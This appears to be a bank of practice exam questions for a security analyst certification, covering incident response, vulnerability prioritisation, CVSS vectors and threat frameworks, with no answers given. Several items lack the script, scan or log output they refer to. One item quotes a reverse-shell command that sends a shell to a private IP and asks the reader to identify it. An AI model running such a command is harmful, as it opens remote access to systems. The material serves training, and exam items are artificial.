When starting an investigation, which of the following must be done first?

A. Notify law enforcement

B. Secure the scene

C. Seize all related evidence

D. Interview the witnesses

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

A. Proprietary systems

B. Legacy systems

C. Unsupported operating systems

D. Lack of maintenance windows

A security analyst recently joined the team and is trying to determine which scripting language is being used in a production script to determine if it is malicious. Given the following script:
 
Which of the following scripting languages was used in the script?

A. PowerShell

B. Ruby

C. Python

D. Shell script

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

A. OSSTMM

B. SIEM

C. SOAR

D. OWASP

Due to reports of unauthorized activity that was occurring on the internal network, an analyst is performing a network discovery. The analyst runs an Nmap scan against a corporate network to evaluate which devices were operating in the environment. Given the following output:
 
Which of the following choices should the analyst look at first?

A. wh4dc-748gy.lan (192.168.86.152)

B. officerckuplayer.lan (192.168.86.22)

C. imaging.lan (192.168.86.150)

D. xlaptop.lan (192.168.86.249)

E. p4wnp1_aloa.lan (192.168.86.56)

Which of the following items should be included in a vulnerability scan report? (Choose two.)

A. Lessons learned

B. Service-level agreement

C. Playbook

D. Affected hosts

E. Risk score

F. Education plan

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

A. Agree on the goals and objectives of the plan

B. Determine the site to be used during a disaster

C. Demonstrate adherence to a standard disaster recovery process

D. Identify applications to be run during a disaster

The security team reviews a web server for XSS and runs the following Nmap scan:
 
Which of the following most accurately describes the result of the scan?

A. An output of characters > and ” as the parameters used m the attempt

B. The vulnerable parameter ID http://172.31.15.2/1.php?id-2 and unfiltered characters returned

C. The vulnerable parameter and unfiltered or encoded characters passed > and ” as unsafe

D. The vulnerable parameter and characters > and ” with a reflected XSS attempt

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

A. Testing

B. Implementation

C. Validation

D. Rollback

An organization conducted a web application vulnerability assessment against the corporate website, and the following output was observed:
 
Which of the following tuning recommendations should the security analyst share?

A. Set an HttpOnly flag to force communication by HTTPS

B. Block requests without an X-Frame-Options header

C. Configure an Access-Control-Allow-Origin header to authorized domains

D. Disable the cross-origin resource sharing header

A security alert was triggered when an end user tried to access a website that is not allowed per organizational policy. Since the action is considered a terminable offense, the SOC analyst collects the authentication logs, web logs, and temporary files, reflecting the web searches from the user's workstation, to build the case for the investigation. Which of the following is the best way to ensure that the investigation complies with HR or privacy policies?

A. Create a timeline of events detailing the date stamps, user account hostname and IP information associated with the activities

B. Ensure that the case details do not reflect any user-identifiable information Password protect the evidence and restrict access to personnel related to the investigation

C. Create a code name for the investigation in the ticketing system so that all personnel with access will not be able to easily identify the case as an HR-related investigation

D. Notify the SOC manager for awareness after confirmation that the activity was intentional

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

A. PAM

B. IDS

C. PKI

D. DLP

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application. Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

A. Conduct regular red team exercises over the application in production

B. Ensure that all implemented coding libraries are regularly checked

C. Use application security scanning as part of the pipeline for the CI/CD flow

D. Implement proper input validation for any data entry form

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability. Which of the following CVE metrics would be most accurate for this zero-day threat?

A. CVSS:31/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:K/A:L

B. CVSS:31/AV:K/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L

C. CVSS:31/AV:N/AC:L/PR:N/UI:H/S:U/C:L/I:N/A:H

D. CVSS:31/AV:L/AC:L/PR:R/UI:R/S:U/C:H/I:L/A:H

An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.)

A. Beaconing

B. Domain Name System hijacking

C. Social engineering attack

D. On-path attack

E. Obfuscated links

F. Address Resolution Protocol poisoning

Which of the following security operations tasks are ideal for automation?

A. Suspicious file analysis:Look for suspicious-looking graphics in a folder.Create subfolders in the original folder based on category of graphics found.Move the suspicious graphics to the appropriate subfolder

B. Firewall IoC block actions:Examine the firewall logs for IoCs from the most recently published zero-day exploitTake mitigating actions in the firewall to block the behavior found in the logsFollow up on any false positives that were caused by the block rules

C. Security application user errors:Search the error logs for signs of users having trouble with the security applicationLook up the user’s phone number -Call the user to help with any questions about using the application

D. Email header analysis:Check the email header for a phishing confidence metric greater than or equal to fiveAdd the domain of sender to the block listMove the email to quarantine

A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack. Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

A. Weaponization

B. Reconnaissance

C. Delivery

D. Exploitation

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets. Which of the following steps of an attack framework is the analyst witnessing?

A. Exploitation

B. Reconnaissance

C. Command and control

D. Actions on objectives

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack. Which of the following logs should the team review first?

A. CDN

B. Vulnerability scanner

C. DNS

D. Web server

A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?

A. Code analysis

B. Static analysis

C. Reverse engineering

D. Fuzzing

A security analyst is tasked with prioritizing vulnerabilities for remediation. The relevant company security policies are shown below:
Security Policy 1006: Vulnerability Management
1. The Company shall use the CVSSv3.1 Base Score Metrics (Exploitability and Impact) to prioritize the remediation of security vulnerabilities.
2. In situations where a choice must be made between confidentiality and availability, the Company shall prioritize confidentiality of data over availability of systems and data.
3. The Company shall prioritize patching of publicly available systems and services over patching of internally available system.
According to the security policy, which of the following vulnerabilities should be the highest priority to patch?

A. Name: THOR.HAMMER -CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HInternal System

B. Name: CAP.SHIELD -CVSS 3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NExternal System

C. Name: LOKI.DAGGER -CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HExternal System

D. Name: THANOS.GAUNTLET -CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NInternal System

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization. Which of the following solutions will assist in reducing the risk?

A. Deploy a CASB and enable policy enforcement

B. Configure MFA with strict access

C. Deploy an API gateway

D. Enable SSO to the cloud applications

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

A. Business continuity plan

B. Vulnerability management plan

C. Disaster recovery plan

D. Asset management plan

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?

A. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access

B. An on-path attack is being performed by someone with internal access that forces users into port 80

C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80

D. An error was caused by BGP due to new rules applied over the company’s internal routers

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released. Which of the following would best protect this organization?

A. A mean time to remediate of 30 days

B. A mean time to detect of 45 days

C. A mean time to respond of 15 days

D. Third-party application testing

A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?

A. Credentialed network scanning

B. Passive scanning

C. Agent-based scanning

D. Dynamic scanning

Which of the following is the best action to take after the conclusion of a security incident to improve incident response in the future?

A. Develop a call tree to inform impacted users

B. Schedule a review with all teams to discuss what occurred

C. Create an executive summary to update company leadership

D. Review regulatory compliance with public relations for official notification

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

A. Scope

B. Weaponization

C. CVSS

D. Asset value

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?

A. RCE

B. Reverse shell

C. XSS

D. SQL injection

A company that has a geographically diverse workforce and dynamic IPs wants to implement a vulnerability scanning method with reduced network traffic. Which of the following would best meet this requirement?

A. External

B. Agent-based

C. Non-credentialed

D. Credentialed

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

A. Command and control

B. Actions on objectives

C. Exploitation

D. Delivery

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

A. SLA

B. MOU

C. NDA

D. Limitation of liability

A security analyst is reviewing a packet capture in Wireshark that contains an FTP session from a potentially compromised machine. The analyst sets the following display filter: ftp. The analyst can see there are several RETR requests with 226 Transfer complete responses, but the packet list pane is not showing the packets containing the file transfer itself. Which of the following can the analyst perform to see the entire contents of the downloaded files?

A. Change the display filter to ftp.active.port

B. Change the display filter to tcp.port==20

C. Change the display filter to ftp-data and follow the TCP streams

D. Navigate to the File menu and select FTP from the Export objects option

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization. Which of the following will produce the data needed for the briefing?

A. Firewall logs

B. Indicators of compromise

C. Risk assessment

D. Access control lists

Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

A. The lead should review what is documented in the incident response policy or plan

B. Management level members of the CSIRT should make that decision

C. The lead has the authority to decide who to communicate with at any t me

D. Subject matter experts on the team should communicate with others within the specified area of expertise

An analyst notices there is an internal device sending HTTPS traffic with additional characters in the header to a known-malicious IP in another country. Which of the following describes what the analyst has noticed?

A. Beaconing

B. Cross-site scripting

C. Buffer overflow

D. PHP traversal

The analyst reviews the following endpoint log entry:
 
Which of the following has occurred?

A. Registry change

B. Rename computer

C. New account introduced

D. Privilege escalation

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment. Which of the following implications should be considered on the new hybrid environment?

A. The current scanners should be migrated to the cloud

B. Cloud-specific misconfigurations may not be detected by the current scanners

C. Existing vulnerability scanners cannot scan IaaS systems

D. Vulnerability scans on cloud environments should be performed from the cloud

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

A. Mean time to detect

B. Number of exploits by tactic

C. Alert volume

D. Quantity of intrusion attempts

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?

A. Implement step-up authentication for administrators

B. Improve employee training and awareness

C. Increase password complexity standards

D. Deploy mobile device management

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

A. PCI Security Standards Council

B. Local law enforcement

C. Federal law enforcement

D. Card issuer

An analyst is reviewing a vulnerability report for a server environment with the following entries:
 
Which of the following systems should be prioritized for patching first?

A. 10.101.27.98

B. 54.73.225.17

C. 54.74.110.26

D. 54.74.110.228

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

A. Hard disk

B. Primary boot partition

C. Malicious files

D. Routing table

E. Static IP address

A security analyst is trying to identify anomalies on the network routing. Which of the following functions can the analyst use on a shell script to achieve the objective most accurately?

A. function x() { info=$(geoiplookup $1) && echo “$1 | $info” }

B. function x() { info=$(ping -c 1 $1 | awk -F “/” ’END{print $5}’) && echo “$1 | $info” }

C. function x() { info=$(dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F “.in-addr” ’{print $1} ‘).origin.asn.cymru.com TXT +short) && echo “$1 | $info” }

D. function x() { info=$(traceroute -m 40 $1 | awk ‘END{print $1}’) && echo “$1 | $info” }

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools. Which of the following best describes what the security program did?

A. Data enrichment

B. Security control plane

C. Threat feed combination

D. Single pane of glass

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?

A. Information sharing organization

B. Blogs/forums

C. Cybersecurity incident response team

D. Deep/dark web

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

A. Human resources must email a copy of a user agreement to all new employees

B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement

C. All new employees must take a test about the company security policy during the onboardmg process

D. All new employees must sign a user agreement to acknowledge the company security policy

A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well. Which of the following is the most likely explanation?

A. C2 beaconing activity

B. Data exfiltration

C. Anomalous activity on unexpected ports

D. Network host IP address scanning

E. A rogue network device

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened. Which of the following actions should the analyst take first?

A. Clone the virtual server for forensic analysis

B. Log m to the affected server and begin analysis of the logs

C. Restore from the last known-good backup to confirm there was no loss of connectivity

D. Shut down the affected server immediately

The Chief Information Security Officer is directing a new program to reduce attack surface risks and threats as part of a zero trust approach. The IT security team is required to come up with priorities for the program. Which of the following is the best priority based on common attack frameworks?

A. Reduce the administrator and privileged access accounts

B. Employ a network-based IDS

C. Conduct thorough incident response

D. Enable SSO to enterprise applications